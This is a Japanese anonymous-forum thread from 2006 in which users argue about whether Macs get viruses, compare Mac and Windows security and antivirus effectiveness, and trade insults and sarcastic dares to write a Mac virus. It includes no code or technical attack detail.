06/11/28 23:54:23 4IOdGHMy0
>>173
うん。それが悩みなんだよ。
ほんのちょっとだけ感染力のないウィルスが存在するんだよなぁ。
ﾁｮｰ悩んでる。
そういうのが噂になっても、実害がないままパッチで無効化されちゃうしさ。
Windowsみたく、簡単に感染して致命的な被害を出すウィルスが、
山ほどある環境がうらやましい。
176:名称未設定
06/11/28 23:59:04 LzB9IrAE0
これが認められたので、もうあんたは用済みｗ
168 名前：名称未設定[sage] 投稿日：2006/11/28(火) 23:33:16 ID:LzB9IrAE0
Macはウイルスにかかると言う
技術的な理由と確信があるから
悔しくないのでMac買う必要も
ましてやウイルス作家になる必要も無い。
177:名称未設定
06/11/29 00:02:51 4IOdGHMy0
ウィルスはあると認めたよ。
>Macはウイルスにかかると言う
>技術的な理由と確信があるから
Macがウィルスにかかるということは認めてないじゃん。
178:名称未設定
06/11/29 00:04:28 LzB9IrAE0
>>177
日本語でおｋ？
179:名称未設定
06/11/29 00:05:43 Ar42LIyl0
>>176
おまえの書き込みを誰が認めたんだwwww
180:名称未設定
06/11/29 00:06:24 LGW825zL0
>>179
俺が認めましたが何か？
181:名称未設定
06/11/29 00:06:30 cZjBNw7I0
>>178
だからさ、感染力のないウィルスが、
伝聞ではあるらしいけど、感染力がないから、
「Macはウィルスにかからない」なんだよ。
困ったなぁ。
182:名称未設定
06/11/29 00:09:33 Ios/7LKM0
一般的にたとえばメールで添付されてきたウイルスを
手動で実行しても、「ウイルスに感染した」と言うわけだが？
183:名称未設定
06/11/29 00:10:02 iRG9+unN0
替わりに言います。
ごめんなさい。
184:名称未設定
06/11/29 00:12:15 cZjBNw7I0
>>182
うん、そうだろうね。
だから、手動で実行して被害をだすウィルスをアンタがMac用に作って、
マカーの間に流行らせてくれればいい。
それでアンタのいうことは実証されるよ。
185:名称未設定
06/11/29 00:14:28 LGW825zL0
まぁ、普通に感染力が高いウイルスもあるわけだがな
URLﾘﾝｸ(internet.watch.impress.co.jp)
いまさら、有る無いという議論をする意味は無い。
186:名称未設定
06/11/29 00:15:15 Ios/7LKM0
> だから、手動で実行して被害をだすウィルスをアンタがMac用に作って、
すでにあるだろｗ お前もあるって自分で認めたし。
187:名称未設定
06/11/29 00:17:18 cZjBNw7I0
>>185
うん。Mac用のウィルスはある。
でも、流行ってもいないし、実害もでてないからなぁ。
188:名称未設定
06/11/29 00:19:22 LGW825zL0
もうこの結論が出ただけで十分だろ？
うん。Mac用のウィルスはある。
189:名称未設定
06/11/29 00:21:13 cZjBNw7I0
>>186
あるけど、流行ってない。てか、実害も聞いたことない。
この問題の解決は、アンタが作ったヤツを流行らせればいいんだよ。
マカーなら、誰でも常に感染の危機を感じて、
油断してるとすぐに被害で広まっちゃうようなの、作ってね。
研究すれば、マーケティングとかの社会勉強にもなるかもよ。
190:名称未設定
06/11/29 00:22:23 7ncw0lhd0
>>180
俺はおまえのウイルスに対するスキルを見せろといっている
伝聞に頼るなよ
191:名称未設定
06/11/29 00:24:03 cZjBNw7I0
URLﾘﾝｸ(internet.watch.impress.co.jp)
↑ほら、実害がないままパッチがでちゃったよ・・・。
Macはウィルスにかからないなぁ。
192:名称未設定
06/11/29 00:25:14 Ios/7LKM0
ウイルス製作が犯罪じゃなかったらやるんだけどな。
そういやこういう事件あったな。
Mac OS Xウイルス作成コンテスト、法的責任問題で中止に
URLﾘﾝｸ(www.itmedia.co.jp)
193:名称未設定
06/11/29 00:27:13 LGW825zL0
>>192
ウイルスを製作てみろ！っていうのは、
そのウイルス作成コンテストを実施したアフォな
会社と同レベルだな。
194:名称未設定
06/11/29 00:30:59 sfdGcqaM0
Macならウィルスは大丈夫ってのは、
飛行機は自動車より安全だから、飛行機は安全ってぐらいの話。
これを聴いて、
飛行機は安全だ。
と思うか、
飛行機も過去に何度も墜落している。
もちろん自動車事故より少ないが、それでも安全とは言えない。
と思うかの差だ。
195:名称未設定
06/11/29 00:34:17 F0oI1rLv0
世界中のMacを陥れてから「ほれ見ろ」って言えよと思う。それも作者限定で。
想定の範囲内ではウイルスは作れるんだから、例え広まったとしても「当然だなー」くらいにしか思わないけど。
196:名称未設定
06/11/29 00:36:39 cZjBNw7I0
>>194
自動車より飛行機のほうが安全なのは事実だろ。
飛行機にも事故があるからといって、飛行機は危険ってことさらに騒ぐ必要はない。
そんなに安全にこだわるなら、自動車なんかに乗ってるほうがおかしい。
197:名称未設定
06/11/29 00:40:48 sfdGcqaM0
>>194の話は、ようするに事故件数の話な訳だけど、
もうひとつ、
自動車を運転する人の中にはとんでもない人がいるって事。
飛行機の場合、厳格な管制体制のもとで運行されているから、実際に安全な訳だ。
198:名称未設定
06/11/29 00:45:30 cZjBNw7I0
>>195
ウィルスなんて、Automatorでも作れるよね。
Dashboardなんて、ウィルス作者のための環境みたいなもんでしょ。
ただ、感染しないし、流行らない。これが一番の問題だな。
199:名称未設定
06/11/29 00:51:26 sfdGcqaM0
Macの場合、古いOSは切り捨てるしな。
200:名称未設定
06/11/29 01:28:23 n9DzHITT0
★キモヲタ粘着ドザ様屁★
マジでウイルスというものにかかって見たい
出なきゃノートン入れた貝がない・・・・
キモヲタドザの方、MacWorld壊滅させるつもりで怨念一献、強力なのを作ってくれ
ばらまくのが犯罪なら俺の捨てアド晒すんで送ってくれないか
そしたらキモヲタドザが口だけじゃないって俺がこの板で宣伝してやる
201:名称未設定
06/11/29 03:24:22 oMYQfGLp0
っていうか、
Macにウイルスが感染してニュースになってから
騒げばよくね？
Macユーザーに「ウイルスやばいだろ？」
って聞いてる時点で時代遅れなんだよなw
202:名称未設定
06/11/29 03:30:46 xJFUwp950
>>200
ここに来て見下し発言してるような輩は
ドザの中でも底辺層の「スキル無しナンチャッテドザ」
だから不可能と思われる。俺の知り合いのドザはMacに
はなから興味がないし、こんなとこまで出かけて騒がない。
黙々と自分の世界で堪能していらっしゃるｗ
203:名称未設定
06/11/29 05:10:20 nFd2l8Ku0
>>201
確かに、Macのシェアーが増えて、Win並にウィルスや、ヤバイフリーソフトが出回る
なんて取り越し苦労な事考える必要はないわなｗ
Macのシェアーが増えてから考えればいいものだｗ
ウィルスが増える可能性よりMacの生産停止の方が高そうだし・・・
204:名称未設定
06/11/29 09:14:24 wkFqgyKS0
Macの販売が黒字っていうのは嘘なのか。
インターネッツで見た!
205:名称未設定
06/11/29 09:53:46 B8dK2chb0
>>203
翻訳：ぼくはなにひとつ自分では作れません。すみません。
206:名称未設定
06/11/29 15:23:30 zRRjbCDB0
>>204
ふつーにMacの販売は黒字。
PCメーカーも主力を10万ちょいあたりのちょっといいPCに持ってければ
どのメーカーも売れば売るだけ黒字出るのだが、Win界で一番売れてるのが
ビジネスマシンでビジネスマシンは値段が最大のファクトだから、
とにかく安く安くのデススパイラルにPCメーカー各社とも陥っている。
ソニーのVAIOにちょうどMacと同じような構成のマシンがあったのだが
Windows界だとビジネスとハイエンドにマシンが分離しちゃってて
”中ぐらいのマシンに中ぐらいのグラフィック性能を乗せた普及機”
ってのがどうにも上手く商売にならんというか。
その性能じゃないと動かないギリギリアプリであるiLifeを標準で
つけてきてるAppleの戦略は上手いっちゃぁ上手いんだよなぁ。
207:名称未設定
06/11/29 23:29:10 BRnJ7kbn0
＞Win界で一番売れてるのが
＞ビジネスマシンでビジネスマシンは値段が最大のファクトだから、
＞とにかく安く安くのデススパイラルにPCメーカー各社とも陥っている。
購買担当してて実感したけどこれ結構本当、チキンレースだよね
dos/v機は買うもんじゃない貰うもんだと言う感覚が俺的にはある
208:名称未設定
06/11/30 00:41:28 2yUZv7NQ0
俺も同じ様な立場だが、安物は安物だとつくづく思う。
Win機は何も期待しないからお下がりで十分。
部署別でMacネットワー作ったりしてるが。
209:名称未設定
06/11/30 01:35:11 5pJ+niQl0
うちの会社は新しいPC入れると、決まってDELLなんだよな。
つくりは安っぽいけど、仕事には関係ないし。
あの値段で競争を強いられる国産メーカーはつらいだろうな。
210:名称未設定
06/11/30 03:53:25 QB6C3gBI0
安物安物ってMacももう安物になってきたね。
211:名称未設定
06/11/30 04:18:18 0+eT1Nln0
だから？最低レベルの性能の高さは
国内メーカーも太刀打ち出来ないんだが。
それらのチープなPCと比べてどうする？
212:名称未設定
06/11/30 10:47:08 LXelmtGZ0
安物にかこまれて暮らすと、なんでも安物に見えてくるから
困るよな。
213:名称未設定
06/11/30 12:44:19 850uf7x60
自己紹介乙↑
214:名称未設定
06/11/30 14:42:51 QB6C3gBI0
>>57
＞だから？
いや、だからMacも安物になってきたよね・・。でも、これはよいことだよ。
今まで性能よりはるかに高いお布施払ってきたこと考えたら。今の価格は適正だよ。
215:名称未設定
06/11/30 17:16:28 Q138eLqz0
だから？
216:名称未設定
06/11/30 17:19:44 554dvShh0
そして?
217:名称未設定
06/11/30 20:35:19 qpryQf2V0
セキュリティホールとウィルスには、直接の関係はないよね。
218:名称未設定
06/11/30 22:45:33 QB6C3gBI0
>>63
アホすぎ。ネタか？
219:名称未設定
06/11/30 23:43:48 850uf7x60
まあ、あれだ、最新マザボに10マソとか最新チップセットに5マソとか
全身全霊、アイデンティティをかけて必死にこしらえた自作機が自己存在の証
であるドザにとってはその枠外にあるMacが気になって仕方がないんだろうな。
でそこでたまたまDOS機が悪く（あるいはMac優位であるがごとく）言われていると
もう脊髄反射に近い感情で書き殴る！嫉妬！憎悪！・・・・・って感じなんだろう。
220:名称未設定
06/11/30 23:51:35 Q138eLqz0
ぺうwrうぇrwぷっっっをうよようぬwt
221:名称未設定
06/11/30 23:56:10 zlaxfZRW0
はいリリース～ｗ
222:名称未設定
06/12/01 01:17:09 h1y3ho1n0
>>218
お前がアホだろ。わざわざ遠隔レスすんなら、
何がどうおかしいと思うか文章で書いてみろ。
その程度の事ができる人間並みの知能があればなｗ
223:名称未設定
06/12/01 01:50:31 sJYgY6ph0
>>219
いまどきMacにそこまであこがれるヤツは、そうはいないだろ
高嶺の花だった時代でもなし
パーツ組みとはいえ 自分で組んだマシンの方が
ただ買ってきたマシンより愛着はわくと思うけどな
Macで言えば改造ユーザーか
>>217
関係あるぞ
ネットに繋ぐ事がないのであれば、関係ないけどね
224:名称未設定
06/12/01 01:50:49 VfPRsyd20
あんたも遠隔なのにキレすぎ。もちつけ
225:218
06/12/01 02:02:31 t59cUsW50
>>222
ごめん。ほんとうに御免。>>64へのレスじゃなくて、>>217へのレス。
226:名称未設定
06/12/01 02:39:26 o1ikH8FQ0
>>223
最近はセキュリティホールを利用するウィルスが多いってだけじゃん。
227:名称未設定
06/12/01 03:37:12 t59cUsW50
Mac OS X、パッチ直後にまた新たな脆弱性報告
Apple Computerは28日にMac OS Xの複数の脆弱性を修正する
パッチをリリースしたが、その同じ日のうちに、さらに新たな脆
弱性が報告された。
過去の複数の脆弱性同様、この問題もカーネルバグ月間（MoKB）
プロジェクトで報告された。コンセプト実証コードも同時に公開さ
れている。
MoKBの情報によると、細工された引数を渡すことによってメモリ
破損エラーが発生し、ローカルの攻撃者がシステムをDoS状態に陥れ
たり、不正に権限を昇格させられる可能性がある。悪用されればロー
カルシステム上で任意のコードを実行される恐れがある。
ただし、リモートからの悪用は不可能といい、仏FrSIRTでは危険度
を4段階のうち下から2番目の「Moderate Risk」としている。
脆弱性が確認されたのはMac OS X version 10.3.9以前／10.4.xで、
正式なパッチはリリースされていない。
URLﾘﾝｸ(www.itmedia.co.jp)
（ITmediaエンタープライズ） - 11月30日11時35分更新
228:名称未設定
06/12/01 06:48:46 4PfqhHmu0
＞ただし、リモートからの悪用は不可能といい
ドザは記事をどっかからひっぱってきてコピペするのは得意なんだが
記事内容を読解する能力に恐ろしく欠けてるからな・・・
そこで語ってる脆弱性って、
だれかが悪意あるプログラムを直接マシンの前で動かした時に（Winで言うとexeをクリック）
”マシンをハングさせたり”、”ユーザー権限の変更ができたり”する。
って脆弱性だぞ・・・逆に言うとコレ
・悪意あるプログラムでもMacOSXではOSをなかなかハングさせられません。
・悪意あるプログラムでもMacOSXではユーザー権限の変更がなかなかできません
（ユーザー権限を変えないとシステムを悪意を持って破壊することができません）
ってことなんだが。 Winじゃ悪意あるプログラム食らった時にOSごと落ちたり、
システムファイルを簡単に弄られてシステムぶっ壊されるのがあたりまえだから
ここで想定されてるセキュリティレベルが想像ついてないだろ・・・おまえ。
229:名称未設定
06/12/01 12:59:21 f+keMpBd0
さっきCM見た
すげぇ自虐ネタだなｸｿﾜﾛﾀ
230:＼＿＿＿＿＿＿＿＿＿＿／
06/12/01 13:25:18 uYQNsxkW0
＿＿＿＿＿＿＿
／::::::::::::::::::::::::::::::::::::＼
／::::::::::::::::::::::::::::::::::::::::::::::::::＼
/::::::::::/|:::::::::/ﾉ::::::::／ヽ人:::::::::::ヽ
/::::::::::/ |:::／/∧::::ﾉ ヽ、:::::::ヽ
|:::::::::::/ |/ |ﾉ |/ ヽ:::::::::|
|::::::::::/ ━━ ━━ |:::::::|
|:::::::/ -=・=- -=・=- |:::::|
|:::::/ l￣￣￣￣|====|￣￣￣￣ l |::::|
| =ﾛ| / ヽ| |ﾛ=|::|
|/ l / ｀ヽ l |
／ ー─ （●＿●）── ＼
| l l |
| |--￣｀´￣--|__ .｜
| |二二二二-| |
＼ 丿 ヽ ／
＼＿ _-￣￣￣-_ ＿／
￣￣￣＼＿＿／￣￣￣
231:名称未設定
06/12/01 13:30:55 Eu3N07Nw0
あれ、おかしいな、モニタが鏡みたいになってる。
232:名称未設定
06/12/01 14:28:18 uRLvD3or0
微妙にスレの趣旨とズレた質問なんですが、いいでしょうか？
万が一Macがウイルスに、それもWinであるような情報流出させるタイプのものに感染した場合、
（将来的にそのようなものが出てきた場合に、です）
ネットに有線接続してなくても無線LANやBlueToothを搭載してる機種で、
それらの機能をオフにしている状態でも、
強制的に無線機能オン→無線環境を探して可能なら接続→データ流出
といった事態になることはありえるのでしょうか？（そのようなウイルスは存在しうるのでしょうか？）
233:名称未設定
06/12/01 16:29:41 M0o6o7vz0
>>232
絶対無いと証明する事は不可能。
234:名称未設定
06/12/01 16:53:59 o1ikH8FQ0
絶対なんて誰が言い出したんだw
小学生かよ。
235:名称未設定
06/12/01 16:55:34 o1ikH8FQ0
>>232
ウィルスの感染経路をまず確保しないと、Macに限らず難しいだろうなw
236:名称未設定
06/12/01 21:34:17 t59cUsW50
>>232
一度管理者権限奪えばなんでもできるよ。
237:名称未設定
06/12/01 23:02:17 nb0VxO8E0
あたりまえ。
MacだろーがWINDoZだろーがメインフレームだろーが宇宙船だろーがテポドンだろーが
238:名称未設定
06/12/02 01:23:45 DqDrGKZr0
>>232
別にMacに限らず、コンピュータである以上、
色々な動作を順番に実行するようなスクリプトは組めるわけだから、
そういう事態は「ありうる」。
けれど、インターネットの接続がオフになっているマシンは
どうにかしてそこを「オン」にしなければ、
ウィルスを送り込む手段がない。
239:名称未設定
06/12/02 01:41:39 pwghvcQ+0
当たり前だ。そんなにウイルスが怖かったら、LANケーブル引っこ抜いてりゃいいんだよ。
240:名称未設定
06/12/02 01:57:58 9IydrMP+0
一度もネットに繋がったことのないWindowsPCよりは、
ネットに繋がってるMacの方が危険かもなw
241:名称未設定
06/12/02 07:17:11 MnYq/qwt0
まあ、おまいらがんばって生きろ
いや、新でも（・∀・）ｲｲ!!が
242:名称未設定
06/12/02 23:15:39 pwghvcQ+0
BSDのウイルスはマックに感染しないのか？
243:名称未設定
06/12/03 01:12:34 rY/pKdH90
事実関係を整理しよう
「ウイルスで（実害が出ることは殆ど無いから）大丈夫」
これは事実だよな。
「ウイルスが存在しない」というのは糞ドザの捏造だからな。
windowsの場合、ＮＯＤ３２やカスペルスキーでさえ検出率１００％ではない。
検出しきれないこともある。
それよりもさらに安全なのがMac
244:名称未設定
06/12/03 03:06:00 7HZ6K1Ut0
>>242
10.3とか使ってて、セキュリティパッチを更新してないなら感染するかもな。
245:名称未設定
06/12/03 11:07:45 a6nWNcIF0
事実関係を整理しよう
「Macにはウイルスに利用されるセキュリティホールが有る」
「Macにはウイルスが存在するがごくわずか」
「実際にウイルスに攻撃されたときの耐性はWindowsの方が強い」
「Macが安全なのは、単にウイルスの数がごくわずかなだけ」
「攻撃されたときに安全なのはWindowsだが、攻撃されないMacの方が安全」
「将来もMacは安全とは限らない。セキュリティホールの数、ウイルスの数、利用者の数は年々増えているから」
246:名称未設定
06/12/03 14:17:09 7HZ6K1Ut0
>>245
>実際にウイルスに攻撃されたときの耐性はWindowsの方が強い
これの基準がまったくわからない。
ウィニーでデータを漏洩させまくってるアホがまだ多いが、
そのWindows機もウィルスの耐性が強いのか？
ビスタでも、従来からあるスパイウェアの大半で被害がでるって報告も上がってるぞ。
URLﾘﾝｸ(japan.cnet.com)
セキュリティホールは、見つかればパッチで閉じられるの繰り返しだろ。
それはMacOSでも、Windowsでも、Linuxでも一緒じゃん。
247:名称未設定
06/12/03 14:25:17 7eD0O2vO0
>>246
一万何千件のウイルスに対応出来てるからつおいんだお！って言っているんじゃねｗ
248:名称未設定
06/12/03 14:30:15 7HZ6K1Ut0
URLﾘﾝｸ(gigazine.net)
↑こういう報告もある。
Windows用のアンチウィルスソフトはたくさんある。
それでも100％すべてのウィルスを撃退できるソフトは１つもない。
Windowsがウィルスに耐性の強い環境だなんてデマでしかないわな。
毎月あるセキュリティパッチでも、すべての穴が防げてるわけじゃないし、
常に見つかり続ける新しい穴に対処しきれてるわけじゃない。
MacOSもウィルスはある。でも、数ヶ月に一度新しいモノが発見される程度。
アンチウィルスソフト側が対応しきれないなんて状況にはならない。
実害が出る前にパッチも出てくるしな。
どう考えても、Macの方がウィルスへの耐性が強い環境だろ。
249:名称未設定
06/12/03 14:36:40 7HZ6K1Ut0
悪意あるソフトの80％はアンチウイルスソフトが効かない - GIGAZINE
URLﾘﾝｸ(gigazine.net)
よく、こんな危険な環境を使ってるよなw
このスレに来て、Macのセキュリティをバカにしてるドザは、
セキュリティに詳しいようだから、
それなりにWindowsで対策してるだろうが、
それでもなんの対策もしてないユーザーのMacより危険がいっぱい。
250:名称未設定
06/12/03 14:46:37 7HZ6K1Ut0
>>247
1万のウィルスのうち、0.5％がアンチウィルスソフトで対処できないとする。
計算上、50個のウィルスに無防備ってことだな。
MacOSXで50個のウィルスが作られるのは、いつになるだろう・・・。
251:名称未設定
06/12/03 14:58:06 7HZ6K1Ut0
ユーザーが少ないからウィルス作者に相手にされてないって意見も眉唾。
ウィルスといえばMacといわれてた時代があったんだな。
OS8の時代だ。
シェアは今より高かったが、Macユーザーの数は今より少ない時代だ。
Macの売上はここ数年、過去最高を毎年記録してる。
つまり、ユーザーは増え続けてるんだな。
ユーザーの数が少ない時代でも、古いMacOS上で危険なウィルスがたくさんあったんだよ。
ユーザーが増えてる現行MacOSでウィルスが増えないのはなぜ？
252:名称未設定
06/12/03 15:09:10 rVN1Q40Q0
>>251
昔はMacに魅力があったってことだな。
シェアやセキュリティに比例してウィルスが自然発生するとでも思ってるの？
253:名称未設定
06/12/03 15:30:33 7HZ6K1Ut0
>>252
ウィルス作者にとって魅力的な環境ってのは、
ウィルスの開発が簡単な環境だろ。
アプリケーションをユーザーの証人なしにインストールできて起動までできるようなな。
254:名称未設定
06/12/03 16:06:59 7HZ6K1Ut0
考えてみりゃ、ウィルスの被害はないのに、
セキュリティホールがちゃんと見つかって、
パッチで修正され続けてる環境って素晴らしいよな。
ウィルスの被害に会わずに、セキュリティは常に良くなってる。
それに比べてWindowsは、日々セキュリティホールが見つかって、
それを利用した新しいウィルスが山のように作られて、
確実に被害が広まる上に、
アンチウィルスソフトでも完璧に防げない。
255:名称未設定
06/12/03 17:32:26 tXLCZCdY0
>>23
ｳｨﾝ7年
セキュリティソフト無しでかかったことない
256:827.jpn.ch
06/12/03 17:41:26 E6ImCM9U0 BE:886570087-2BP(1)
>>255
気付いてないだけじゃないの？
あ、あとWindowsはWindowsでも95/98だと感染しても発病しないこと多い。
257:827.jpn.ch
06/12/03 17:42:21 E6ImCM9U0 BE:554106757-2BP(1)
一度ウイルスバスターのページで無料チェックを推奨。
258:名称未設定
06/12/03 17:50:29 7eD0O2vO0
２ちゃんやってりゃ絶対喰ってるよ。
259:名称未設定
06/12/03 18:57:05 kMVquYGh0
悪意あるソフトの80％はアンチウイルスソフトが効かない - GIGAZINE
これはMacOSXであっても当てはまる話。
なぜなら、何を持って悪意があるかということは
人間にしかわからないからだ。
他のプログラムのバグを利用するものならともかく、普通のプログラム、
たとえばファイルを削除するプログラム、メールを送信するプログラム。
そういったものに悪意があるかなんか人間以外に分るはずが無い。
人間がソフトウェアのリストを作るしかないのだよ。
俺が悪意があるMacOSX用ソフトを作ったとして、
「普通のソフトと同じようにインストールしてね」と書いておく。
それをどうやってMacOSXが防ぐと言うのか。ありえない。
260:名称未設定
06/12/03 19:09:09 hSCaHuF30
普通のソフトはインストーラーなんか使わないで
どっか適当なフォルダにドロップしてねだから。
261:名称未設定
06/12/03 19:11:00 7HZ6K1Ut0
>>259
リンク先読んでないでしょ？
例えばそれはスパイウェアであったり、個人情報を抜き取るための
ワームであったり、あるいはあなたのパソコンを踏み台にするため
のトロイの木馬であったり、とにかくありとあらゆる種類の悪意の
あるソフトウェア、通称「マルウェア」の脅威に対し、アンチウイ
ルスソフトは20％しか効果が無く、残りの80％は防御不可能という
現実。
＞通称「マルウェア」の脅威
良く読めな。
262:名称未設定
06/12/03 19:16:52 7HZ6K1Ut0
>>259
あ、そうか、Windowsユーザーってのは、
「ボクが作ったソフト、便利だからインストールしてね」
と言われりゃ素直にインストールしちゃう人たちなんだな。
そんで、被害が出ても、作ったヤツを非難したり訴えたりしないんだ。
だから、悪意のあるソフトウェアがいっぱい存在するんだね！
263:名称未設定
06/12/03 19:19:27 kMVquYGh0
アンチウイルスソフトはウイルスを検出するものであり、
マルウェアを検出するものではありません。
あなたが言っているのは、傘では風を防げないといっているようなもの。
264:名称未設定
06/12/03 19:21:16 f01kSW9f0
これはつまり、
俺に感染出来るウィルスを作ってみろ。
出来たら褒めてやるぜ！ という話ですね？
・・・・・・煽ってどーすんの！
265:名称未設定
06/12/03 19:23:02 a6nWNcIF0
>>262
曲解過ぎて話にならない。
266:名称未設定
06/12/03 19:26:14 7HZ6K1Ut0
>>265
なんで？OSで悪意あるプログラムは判別できないんでしょ。
それでも、Windowsに悪意あるプログラムが溢れてるのは、
ユーザーがまぬけだからってことでしょ？
現実に悪意のあるソフトウエアがたくさんあるんだからさ。
267:名称未設定
06/12/03 19:27:06 7HZ6K1Ut0
へりくつにへりくつを返しただけなんだけどねぇ。
268:名称未設定
06/12/03 19:27:08 f01kSW9f0
>>263
いや、現にあのＣＭを見た人間は
その風をも防げると勘違いしてしまいかねない。
ウィルスかかりません というニュアンスの広告を
素人が見るＣＭで行ってしまったのは
少し失敗だったかな？ と思った。
269:名称未設定
06/12/03 19:28:49 7HZ6K1Ut0
>>268
CMでやってるのは、ウィルスについてじゃん。
あのCMでスパイウェアとかトロイの木馬なんてセリフはない。
270:名称未設定
06/12/03 19:29:30 a6nWNcIF0
>>266
> それでも、Windowsに悪意あるプログラムが溢れてるのは、
> ユーザーがまぬけだからってことでしょ？
お前頭大丈夫か？
ユーザーがまぬけだろうが、そうじゃなかろうが、
悪意あるプログラムを作る奴が沢山いるだけで、
悪意あるプログラムは多くなるだろ。
271:名称未設定
06/12/03 19:31:30 f01kSW9f0
>>269
そのニュアンスが素人には伝わらない と言ってるんだよ。
現にウィルスだってあるといえばあるだろ
272:名称未設定
06/12/03 19:34:32 7HZ6K1Ut0
>>270
>>259に対してのレスなんだよ。
>>259が
＞そういったものに悪意があるかなんか人間以外に分るはずが無い。
＞人間がソフトウェアのリストを作るしかないのだよ。
＞俺が悪意があるMacOSX用ソフトを作ったとして、
＞「普通のソフトと同じようにインストールしてね」と書いておく。
＞それをどうやってMacOSXが防ぐと言うのか。ありえない。
って言ってるから、それで、
現実にMacで悪意のあるソフトウェアの被害がないことと、
Windowsでは被害があることを分析してみただけ。
OSでもアンチウィルスソフトでも防げないなら、
ユーザーが悪いってことじゃん。
ちゃんと通報してりゃ、被害も減るのにさw
273:名称未設定
06/12/03 19:36:41 7HZ6K1Ut0
>>271
CMじゃウィルスってハッキリ言ってるじゃん。
素人がウィルスと聞いて理解できる範囲の解釈でいいんだよ。
難しくしてるのアンタじゃん。
274:名称未設定
06/12/03 19:38:13 f01kSW9f0
>>273
URLﾘﾝｸ(www.mcafee.com)
ほい、ウィルス
275:名称未設定
06/12/03 19:38:26 a6nWNcIF0
> 現実にMacで悪意のあるソフトウェアの被害がないことと、
悪意のあるソフトが多くて、被害が少ないのならともかく、
悪意のあるソフトが少ない状態じゃ、
被害が少ないのは単にソフト（利用者）が少ないからとしか言えない。
> OSでもアンチウィルスソフトでも防げないなら、
マルウェアとはウイルス以外のソフトも含まれる。
アンチウイルスソフトで、ウイルス以外のソフトが防げないというのは、
傘で風を防げないといっているようなもの。
276:名称未設定
06/12/03 19:40:33 a6nWNcIF0
>>273
> 素人がウィルスと聞いて理解できる範囲の解釈でいいんだよ。
お前は、素人がウイルスと聞いて理解できる範囲に、
ウイルス以外のマルウェア（スパイウェア、トロイの木馬など）が含まれると思うのか？
素人の考えと、お前の考えを言え。
277:名称未設定
06/12/03 19:40:36 7HZ6K1Ut0
>>274
俺は大丈夫、セキュリティアップデートをちゃんとかけたから。
>>275
>>251
278:名称未設定
06/12/03 19:43:06 a6nWNcIF0
>>277
> >>275
> >>251
何が言いたいのかさっぱりわからない。
昔はMacのシェア高かったな。それがどうした？
シェアが高いとウイルスが多いと言うことか？
279:名称未設定
06/12/03 19:43:34 7HZ6K1Ut0
>>276
スパイウェアやトロイの木馬も含めてウィルスと想像できた人がいてもいいんじゃない。
現実に、そういうのの被害もないのだから。
Macにも、ウィルスはある。でも、その被害で悩むことはない。
だから「Macは大丈夫」と解釈する人がいても問題ないわな。
280:名称未設定
06/12/03 19:44:42 7HZ6K1Ut0
>>278
利用者が多いと被害者も増えるんだろ。
OS8の頃よりOSXユーザーは増えてるぞ。
281:名称未設定
06/12/03 19:45:07 a6nWNcIF0
>>279
自分が言っているセリフが矛盾しているのを言い訳する時間ですよ。
269 名前：名称未設定[sage] 投稿日：2006/12/03(日) 19:28:49 ID:7HZ6K1Ut0
>>268
CMでやってるのは、ウィルスについてじゃん。
あのCMでスパイウェアとかトロイの木馬なんてセリフはない。
282:名称未設定
06/12/03 19:46:20 a6nWNcIF0
>>280
ウイルス作る人の数は減っている。
283:名称未設定
06/12/03 19:46:53 7HZ6K1Ut0
>>281
ウィルスとしか言ってないCMに、
「スパイウェアやらトロイの木馬について語ってない」
と難癖つけてるのはアンタだろうに。
284:名称未設定
06/12/03 19:48:15 f01kSW9f0
>>279
一度でもセキュリティホール突かれたって事は
またそういう事が起こる事もありえるって事だぞ。
安心しきってると何時か痛い目見るぞ。
285:名称未設定
06/12/03 19:48:39 a6nWNcIF0
Macにも、ウィルスはある。でも、その被害で悩むことは今のところない。
でもだからといって「Macは大丈夫」と解釈する人がいたら大問題。
マルウェア作家はその隙をついてくる。
MacOSXでもセキュリティホールが存在する以上危険は存在する。
ゼロディアタックでさえ現実のものになった。
286:名称未設定
06/12/03 19:50:10 a6nWNcIF0
>>283
語っていなくても、ウイルスにスパイウェアやトロイの木馬が含まれると
考えている人がいることが問題。
287:名称未設定
06/12/03 19:52:24 f01kSW9f0
つーか何が言いたいかといいますと
マックはウィルスは大丈夫というＣＭを見まして
おお、マックスゲー と思って調べてみたら
実際は罹るんじゃないの・・・
なんか少し悲しかったのでその怒りをぶつけてみました・・・
288:名称未設定
06/12/03 19:53:29 7HZ6K1Ut0
>>284
一度もセキュリティホールはつかれていません。
うちは、ルーターかましてるし、OSでファイアーウォールもかけてる。
Mac用のアンチスパイウェアソフトもアンチウィルスも使った経験あるけど、
ひっかかるのはメールで流れてきたWindows用のウィルスだけだった。
で、システムが重くなるから、アンチ系のソフトは全部アンインストールしました。
ややこしいメールは、全部ライブドアのギガメーラーで受けてるから、
普段使ってるメーラーにはWindows用のウィルスももう来ない。
289:名称未設定
06/12/03 19:54:14 7HZ6K1Ut0
>>286
だから、考えている人がいたっていいじゃない。
そういうのの被害もないのだから。
290:名称未設定
06/12/03 20:00:06 J+k+GlA90
最初は気に食わない宣伝だと思ったが
よくよく見てると、煽ってんだと思う
291:名称未設定
06/12/03 20:01:43 7HZ6K1Ut0
>>287
ウィルスはある。半年に一回くらい話題になる。
それに感染して被害が出たなんて聞いたことないけどね。
セキュリティアップデートがなかったら、
深刻な被害も出てたかもしれないね。
292:名称未設定
06/12/03 20:06:53 7HZ6K1Ut0
>>290
アメリカじゃずいぶん以前から、あれと同じようなCM流れてる。
OSX/Leapも、あのCMに煽られて作られたのかもね。
それでも、出てきたのはそれだけだった。
293:名称未設定
06/12/03 20:18:37 jb4v52nw0
これは酷い・・・
63 名前: 名無しさん＠七周年 Mail: 投稿日: 2006/12/03(日) 20:12:14 ID: tVDk4RRx0
事故の瞬間
URLﾘﾝｸ(ranobe.com)
病院に運ばれた被害者
URLﾘﾝｸ(ranobe.com)
車輪にまきこまれた痛ましい様子
URLﾘﾝｸ(ranobe.com)
タイヤの下敷き
URLﾘﾝｸ(ranobe.com)
集まった野次馬
URLﾘﾝｸ(ranobe.com)
連行される容疑者
URLﾘﾝｸ(ranobe.com)
294:名称未設定
06/12/03 20:45:45 7HZ6K1Ut0
現実問題として、セキュリティホールが見つかったり、
実験的にウィルスが作られたり、
ってことがあるほうがマカーにとってもAppleにとっても良いことなんだよ。
それがなかったらセキュリティパッチも作られないし、
Mac用のセキュリティソフトを作るメーカーもなくなっちゃう。
実害が出てないのに、セキュリティ面が成長していく環境なんて理想的だろ。
295:名称未設定
06/12/03 21:41:55 VKnOdrST0
だからドザさん、あーのこーの垂れてないで実際強力なの作ってよ。
